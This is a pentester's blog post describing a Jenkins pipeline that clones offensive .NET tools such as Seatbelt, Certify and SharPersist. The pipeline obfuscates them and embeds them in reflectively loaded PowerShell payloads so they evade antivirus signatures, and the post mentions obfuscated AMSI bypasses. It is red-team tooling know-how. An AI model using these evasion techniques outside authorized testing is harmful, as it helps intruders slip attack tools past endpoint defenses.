Jenkins and PowerSharpPack Half-Automation

Credits

@S3cur3Th1sSh1t: For creating PowerSharpPack and many other projects
@HTTP418InfoSec: For the Jenkins blog post, which led me down to the Jenkins rabbit hole
@harmj0y: For the SO-CON 2020 talk, which inspired HTTP418InfoSec to write his blog post
@h4wkst3r: For the InvisibilityCloak project
@xenosCR / Conor Richard: For the OffSecOps setup blog post
@klezVirus: For the Chameleon project
And many others

Summary

This is a mini project/PoC that I worked on for a couple of days to automate generating PowerSharpPack (hereinafter PSP) payloads. The automation is done with Jenkins, powershell, and python. This blog post covers installing necessary tools and writing the Jenkins pipeline for automation. There is no full-blown framework or a tool in this post. I'm just sharing another example of how Jenkins can help pentesters' jobs. The PoC GitHub repo can be found here.

TLDR: I learned Jenkins.

Problem

PowerSharpPack (PSP) is a project that embeds and invokes .NET assemblies in a powershell cradle. To create a PSP payload, one would need to git clone the tool's repo, edit the source code if necessary, obfuscate, compile, and embed the assembly in a PSP powershell payload. While not extremely time-consuming, the workload increases as the same procedure needs to be repeated for every .NET assembly. The need to automate this procedure started when one of my colleagues asked for a custom PSP payload that is not from the PSP GitHub repo since that one was already signatured.

Solution - Jenkins

To automate generating PSP payloads, I thought about using the existing cloud-based ci/cd pipeline solutions. However, I decided to use Jenkins after reading a blog post from HTTP418Infosec about using Jenkins to create a CI pipeline. This blog post lead me down to a rabbit hole of harmj0y's talk and all the referenced materials from HTTP418Infosec and harmj0y.

Using the CI/CD pipeline from a cloud service provider is probably a better idea than using this janky Jenkins setup. This is especially the case for penetration testers, who prioritize speed over opsec and don't build a lot of custom secret-sauce tools that can't be shared with anyone.

However, sometimes you want to build a simple(?), free, on-premise solution that doesn't require jumping hoops with licensing, finance, and cloud service setup shenanigans. Something that just works with a single VM and installing a couple of tools.

The Half-Automation

The reason why this is called a half-automation is because there were too many one-offs that I couldn’t fully automate. Every .NET project has its quirks (msbuild/dotnet based on .NET versions, output file path contains .NET version or not, multiple .NET version pre-defined when compiling, forcing manual nuget installs, directory structure is weird, one repo with 3~4 different projects, not including reference assembly file,... the list goes on) that it was not possible to automate everything with a single Jenkins Pipeline.

To create a PSP payload, the following things needed to be automated:

Git clone
Set classes and the main() method to public
Remove environment.exit() statements that will exit the powershell process
Nuget/dotnet restore
Compile with msbuild or dotnet
Obfuscate the .NET assembly (or obfuscate the source code prior to compiling)
Gzip-compress and base64-encode, and put the encoded .NET assembly inside a PSP template.
Obfuscate the final PSP template

Some of the steps can be completed with the build-in plugins and commands in Jenkins. Others can be solved with powershell scripts and open-source tools. For example, instead of building a new obfuscation tool from scratch, we can use open-source tools like Invisibilitycloak, ConfuserEx, and chameleon.

Environment & Tool Setup

Because the project is a PoC and has not been dockerized, everything needs to be installed and configured in a build server. @xenosCR already wrote a great offsecops installation guide, so it is highly recommended to follow that blog post. I skipped over the Artifactory installation for this PoC project. The following things must be installed:

Visual Studio 2019 or prior: 2022 doesn't support .NET 3.5 and 4.0. Install .NET Frameworks during installation. I installed 3.5 ~ 4.8 and 5.0.
Java
Jenkins
Python
Git
Nuget: Standalone commandline binary
(Optional) Open-source tools like confuserEx (cli), invisibilitycloak, chameleon, etc.

After installing all necessary components, confirm that all of the following binaries are inside the PATH environment variable. This can be done by executing the following commands from cmd or powershell.

java --help
python --help
nuget
dotnet help
ConfuserEx.Cli.exe

Jenkins Configuration

After all of the tools are installed, configure Jenkins. After installing Jenkins, do a quick sanity check on the following configurations.

1. Install Python, Powershell, and Git plugins

This can be done at installation time, or browse to Manage Jenkins -> Manage Plugins -> Available -> install python/git/powershell plugin. I already have it installed, but you will see the plugins in the Available section if you haven't installed it.

2. Set PATH environment variable

Set the PATH variable through Manage Jenkins -> Configure Jenkins -> Check the Environment Variables button. Copy/paste your system PATH environment variable here.

3. Set MSBuild path

Set the MSBuild path through Manage Jenkins -> Global Tool Configuration -> MSBuild. Mine is C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin, but yours might be different.

If all configuration is done, do a quick sanity check. Create a new pipeline with New Item -> Pipeline. Use the following pipeline to check if Jenkins can use all the components installed above.

pipeline { 
    agent any

    environment { 
        TEST="Hardcoding everything for now"
    }

    stages {
        stage('Cleanup'){
            steps{
                deleteDir()
            }
        }

        stage('Jenkins-check'){
            steps{
                echo "Hello, Jenkins"
            }
        }
        
        stage('Python-check'){
            steps{
                bat """python --version"""
            }
        }

        stage('Powershell-check'){
            steps{
                powershell(returnStdout:true, script:"echo 'Hello Powershell'")
            }
        }

        stage('Git-check'){
            steps{
                git branch:'main', url: 'https://github.com/GhostPack/Certify.git'
            }
        }

        stage('nuget-check'){
            steps{
                bat "nuget restore ${WORKSPACE}\\Certify.sln"
            }
        }

        stage('MSBuild-check'){
            steps{
                bat "\"${tool 'MSBuild_VS2019'}\\MSBuild.exe\" /p:Configuration=Release \"/p:Platform=Any CPU\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${WORKSPACE}\\Certify.sln" 
            }
        }

        stage('Final-check'){
            steps{
                echo "Hello compiled Certify.exe!"
                bat "dir ${WORKSPACE}\\Certify\\bin\\Release\\"
            }
        }
    }
}

This sample Jenkins pipeline will check if the necessary tools are accessible from Jenkins. If one of the stages fail, it probably means the binary is not within the PATH environment, or the previous Jenkins configuration is not completed.

Generate-PSP Jenkins Pipeline

The final Jenkins pipeline and a bunch of utility powershell scripts can be found in the GitHub repo here. Note that the pipeline file and the tools in the repo are not really "plug-and-play". Use them for reference purposes only.

git clone --recursive https://github.com/ChoiSG/jenkins-psp.git

The following sections are based on the psp-confuser.groovy in the repo.

0. Environment Variables

The pipeline's environment variables need to be setup for each tool. It is recommended to copy/paste the pipeline for each tool, and just change the tool name, giturl, branch name, and the .NET version.

One thing to note is that most of the git clone, obfuscation, and compiling will occur in Jenkin's WORKSPACE default environment variable, which is c:\programdata\jenkins\.jenkins\workspace\<pipeline-name> by default. Utility scripts and output files will be stored in the location specified in WORKDIR environment variable.

pipeline {
    agent any

    environment {
        // << CHANGE THESE >> 
        TOOLNAME = "Seatbelt"
        GITURL = "https://github.com/GhostPack/Seatbelt.git"
        BRANCH = "master"
        WORKDIR = "C:\\opt\\generate-psp-jenkins"

        < ... >

        // << CHANGE THESE>> .NET Compile configs
        CONFIG="Release"
        PLATFORM="Any CPU"
        DOTNETVERSION="v3.5"
        DOTNETNUMBER="net35"
        
        < ... >
    }

1. Git Clone

stage('Cleanup'){
    steps{
        deleteDir()
        dir("${TOOLNAME}"){
            deleteDir()
        }
    }
}

stage('Git-Clone'){
    steps{
        script {     
            checkout([
                $class: 'GitSCM',
                branches: [[name: "*/${BRANCH}"]],
                userRemoteConfigs: [[url: "${GITURL}"]]
            ]) 
        }
    }
}

The cleanup and git-clone stage will delete previous build's artifacts and git clone the tool's repo. Because the default branch of the repos can be different (main, master, and in some cases, dev), the branch also needs to be specified. The URL can be either from GitHub, or from file:// for local git repos. The local git repos can be useful when you need to modify the source code or solve any dependencies from the project. For more information, refer to the Extras section.

By default, the git clone destination path is the default environment variable WORKSPACE, which is the c:\programdata\Jenkins\.jenkins\workspace\<pipeline-name>.

2. Modifying source code for PSP

stage('Prep-PSP'){
    steps{
        powershell "${PREPPSPPATH} -inputDir ${WORKSPACE} -toolName ${TOOLNAME}"
    }
}

For the second stage, the source code of the tool will be modified to be PSP-ready. The modification is done through a separate helper script called PSPprep.ps1. The powershell script changes the accessibility of the class Program, class <toolname>, and static void main(...) to public, removes environment.exit(...) statements, and removes some single-line comments.

3. Compiling

stage('Nuget-Restore'){
    steps{
        script{
            def slnPath = powershell(returnStdout: true, script: "(Get-ChildItem -Path ${WORKSPACE} -Include '${TOOLNAME}.sln' -Recurse).FullName")
            env.SLNPATH = slnPath
            
            try{ 
                bat "nuget restore ${SLNPATH}"
            }
            catch(Exception e){
                catchError(buildResult: 'SUCCESS', stageResult: 'FAILURE') {
                    bat """dotnet restore ${SLNPATH} """
                }
            }
        }
    }
}

In this stage, dependencies are solved with nuget or dotnet. However, few projects won't work with nuget restore or dotnet restore, and require you to install specific packages from VS or through install-package. For projects that requires manual modification, use the local git repo (file://) explained in the Extras section.

msbuild and dotnet will be used for .NET framework and .NET5.0++ compiling.

stage('Compile'){ 
    steps {
        script{ 
            try{
                bat "\"${tool 'MSBuild_VS2019'}\\MSBuild.exe\" /p:Configuration=${CONFIG} \"/p:Platform=${PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:DebugType=None /p:DebugSymbols=false /p:TargetFrameworkMoniker=\".NETFramework,Version=${DOTNETVERSION}\" ${SLNPATH}" 
            }   
            catch(Exception e){
                catchError(buildResult: 'SUCCESS', stageResult: 'FAILURE') {
                    bat """dotnet build ${SLNPATH} """ 
                }
            }      
        }
    }
}

4. Obfuscation

Obfuscation can be done in three different ways:

Obfuscate the .NET tool's source code before compiling - ex) InvisiblityCloak
Obfuscate the .NET tool after compiling - ex) ConfuserEx
Obfuscate before and after compiling - ex) Invisiblitycloak + ConfuserEx

Obfuscation is done by changing the assembly name, namespace, assembly GUID, strings, and more. However, obfuscating the resources and type names might break the PSP payload because the embedded assembly needs to be loaded and executed through powershell reflection.

The following examples show obfuscating the compiled assembly with ConfuserEx. For an example that uses InvisibilityCloak, refer to the psp-inviscloak.groovy pipeline file.

One caveat on finding the the .NET assembly file path is that some projects have (multiple) pre-defined .NET version in the file path. For example, c:\opt\Inveigh\bin\Debug\net45\Inveigh.exe. But, some projects don't. So all of the edge cases needs to be covered.

stage('ConfuserEx'){
    when {
        expression { env.DOTNETVERSION != 'v'}
    }
    steps{
        script{   
            def exePath = powershell(returnStdout: true, script: """
                < find exepath. Some projects includes net45/net35 in path, some don't. Cover all edge cases.
            """)
            env.EXEPATH = exePath

            // Continue on failure.
            catchError(buildResult: 'SUCCESS', stageResult: 'FAILURE'){
                powershell(returnStdout:true, script: """
                    < find all .dll and copy to exepath to resolve dependency for confuserEx >
                """)

                // Generate confuserEx project file using `confuserEx.ps1` script
                powershell(returnStdout:true, script:"${CONFUSERPREP} -exePath \"${EXEPATH}\".trim() -outDir ${WORKSPACE}\\Confused -level normal -toolName ${TOOLNAME} ")

                // Run confuserEx with the project file generated above
                bat "Confuser.CLI.exe ${WORKSPACE}\\Confused\\${TOOLNAME}.crproj"

                echo "[!] ConfuserEx failed. Skipping Obfuscation."
            }
        }
    }
}

Because ConfuserEx doesn't support .NET 5.0++, the obfuscation stage only runs for .NET framework tools. The when block is used to only run this stage when the env.DOTNETVERSION contains v for v3.5, v4.0, etc.

The powershell script ${CONFUSERPREP}(confuserEx.ps1) creates a ConfuserEx project file (.crproj) based on the parameters from the pipeline. The project file is then saved in the output directory, which will be used with Confuser.CLI.exe. ConfuserEx.ps1 can be found here in the repo.

5. Generating the PSP Payload

After the assembly is compiled and obfuscated, it needs to be embedded into the PSP payload template. The PSP template is a simple powershell script that decompresses and base64 decode the .NET assembly byte array. Then, it loads and invokes the main method of the assembly by using the .NET reflection. The template looks something like this:

# PSP Payload template 
function Invoke-TOOLNAME
{
    < ... > 

    # The .NET assembly will be placed at the PLACEHOLDER location by PSPprep.ps1 script.
    $a = New-Object IO.MemoryStream(,[Convert]::FromBase64String("PLACEHOLDER"))

    $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
    $output = New-Object System.IO.MemoryStream
    $decompressed.CopyTo( $output )
    [byte[]] $byteOutArray = $output.ToArray()
    $RAS = [System.Reflection.Assembly]::Load($byteOutArray)

    < ... > 

    [TOOLNAME.Program]::main($Command.Split(" "))

    < ... > 
}

To embed the .NET assembly, the assembly file needs to be turned into a bytearray, gzip compressed, and base64 encoded. The embedDotNet.ps1 can be used to embed the .NET assembly into the PSP payload template.

# embedDotNet.ps1

# https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly

param($inputFile, $outputFile, $templatePath, $toolName)

# Compress
$bytes = [System.IO.File]::ReadAllBytes($inputFile)
[System.IO.MemoryStream] $memStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GZipStream($memStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$memStream.Close()
[byte[]] $byteOutArray = $memStream.ToArray()
$encodedZipped = [System.Convert]::ToBase64String($byteOutArray)

# Copy/Paste the compress+base64'ed .NET assembly to the template
Copy-Item -Path $templatePath -Destination $outputFile -Force

# Embed the gzip + b64 encoded .NET assembly into the template
$templateContent = Get-Content -Path $outputFile
$newContent = $templateContent -replace 'PLACEHOLDER', $encodedZipped
$newContent = $newContent -replace 'TOOLNAME', $toolName

Set-Content -Path $outputFile -Value $newContent

The template file and the helper script above can then be combined through Jenkins. The following stage finds the obfuscated .NET assembly from the Jenkins workspace, and runs the helper script to embed the assembly into the template.

stage('Create-PSP'){
    steps{
        script{
            // If confuserex succeeded 
            def exePath = powershell(returnStdout: true, script: "(Get-ChildItem -Path ${WORKSPACE} -Include '*.exe' -Recurse | Where-Object {\$_.DirectoryName -match 'Confused'} ).FullName")
            env.EXEPATH = exePath
            
            // If confuserEx failed, just use the regular bin.
            if (env.EXEPATH == ''){
                // Some projects have net45,net40 in the file path, some don't. Cover all cases. 
                exePath = powershell(returnStdout: true, script: """
                    \$exeFiles = (Get-ChildItem -Path ${WORKSPACE} -Include '*.exe' -Recurse | Where-Object {\$_.DirectoryName -match 'release' -and \$_.DirectoryName -match 'bin' } ).FullName
                    if (\$exeFiles -match "${DOTNETNUMBER}"){
                        \$exeFiles -match "${DOTNETNUMBER}"
                    }
                    else{
                        (Get-ChildItem -Path ${WORKSPACE} -Include '*.exe' -Recurse | Where-Object {\$_.DirectoryName -match 'release'} )[0].FullName
                    }
                    """)
                env.EXEPATH = exePath
            }

            powershell "${EMBEDDOTNETPATH} -inputFile \"${EXEPATH}\".trim() -outputFile ${PSP_OUTPUT} -templatePath ${TEMPLATEPATH} -toolName ${TOOLNAME}"
        }
    }
}

6. Obfuscating the PSP payload

Obfuscate the final PSP payload using Chameleon. Personally, I found Chameleon to be the one of the most straightforward and stable powershell obfuscation tool.

stage('Obfuscate-PSP'){
    steps{
        bat encoding: 'UTF-8', script: """python ${CHAMELEONPATH} -v -d -c -f -r -i -l 4 ${PSP_OUTPUT} -o ${OBS_PSP_OUTPUT}"""
    }
}

Chameleon uses some characters in the banner function welcome() that creates character encoding error in Jenkins. To solve this, I deleted the banner function.

# Chameleon.py
< ... >
def welcome():
banner = """
deleted
"""
< ... >

7. Putting it all together

Git-clone the repo. Using the create a new pipeline with psp-confuser.groovy. Modify the tool name, git url, dotnet version, dotnet number, and WORKDIR. Then, build the pipeline.

The output files nvoke-<Toolname> and Obs-Invoke-<Toolname> will be created in the WORKDIR directory.

Extra

Local Git Repo

Some tools might require too many manual modifications. In this case, it's better to create a local repo, make modifications, and use the local file:// git URL instead of using the original GitHub repo.

For example, SharPersist requires manual installation of specific nuget packages TaskScheduler and Fody. This is not included in the project, so you can't just use nuget or dotnet. Installation can be automated using the Install-Package cmdlet, but for me this kept erroring out. Instead of automating all one-offs, sometimes it might be better to do some manual changes.

Create a local repo and git-clone the tool in a separate directory. Make the manual modification, and copy/paste all the files into the local repo. Commit the repo, and update the git URL as the local file:// URL.

1. Create a local repo
mkdir local-sharpersist
git init .

2. Git-clone tool in a separate directory
cd c:\opt
git clone https://github.com/mandiant/SharPersist.git

3. Copy/paste all files except `.git` and `.vs` into the #1 local repo

4. Make manual modifications
- For Sharpersist, it's installing Taskscheduler 2.8.11 and Costura.Fody 3.3.3 through nuget or Install-Package

5. Commit changes  
cd c:\opt\local-sharpersist
git add .
git commit -m "resolve nuget"

Then, update the giturl environment variable section in the Jenkins pipeline.

// Sharpersist pipeline
pipeline {
    agent any

    environment {
        TOOLNAME = "SharPersist"
        GITURL = "file:///c:/opt/local-sharpersist"
        BRANCH = "main"
< ... >

AMSI Bypass

For AMSI bypass, I found that heavily modifying existing bypass payloads or combining two different obfuscation tools works well. For example, a random bypass payload from amsi.fail obfuscated using chameleon successfully bypassed AMSI. This bypass can then be prepended on top of the existing PSP payload.

Meta Jobs/Builds

It would be too tedious if 20 Jenkins pipelines for each .NET tool need to be executed separately. Thankfully, Jenkins's job can trigger other jobs. harmj0y describes this as a “meta build” in his SO-CON2020 presentation.

An example of a meta job and triggered jobs can be found in meta-example.groovy, meta-Rubeus.groovy, and meta-Certify.groovy files. The meta-example file calls other jobs that will generate PSP payload parallelly. While doing so, the parameter ProjectID gets passed to each tool job which then gets appended to the output filename. The ProjectID can be further implemented as tags or metadata of the generated PSP payloads when uploading to Artifactory as well.

Create a meta pipeline. Check This project is parameterized in the configure tab, and set a string parameter of ProjectID.
Create a meta-Rubeus pipeline with meta-Rubeus.groovy pipeline.
Create a meta-Certify pipeline with meta-Certify.groovypipeline.
Build meta pipeline with parameter. Specify ProjectID - for example, 2022-Q2-Internal.

Shared Library

As mentioned in the harmj0y's presentation and HTTP418InfoSec's blog post, the Jenkins shared library can be used for all job pipelines. This makes development much easier since a change to the shared library gets applied to all pipelines. I recommend using shared library + meta builds for ease of development and efficient builds.

Looking back, I probably should've created a shared library because I only wrote raw Jenkins pipeline files (oops). I'll leave it as future homework for now, and make an excuse of "hey, it's just a PoC".

Conclusion

Aside from regretting not starting out with a Jenkins shared library, the PoC pretty much does its job. It's a janky glue-ed up project that combines powershell, python, and third-party tools, but Jenkins does a really good job gluing everything together. This PoC was a nice opportunity to learn some automation. For production, stretch goals such as environmental keying and encryption, Artifactory implementation, file signature, uploading to VirusTotal to prevent abuse after the engagement could be also implemented.

Happy hacking!

References

Special Thanks

@sandw1ch : "choi gib certify as obs powershell :hehehehehe:"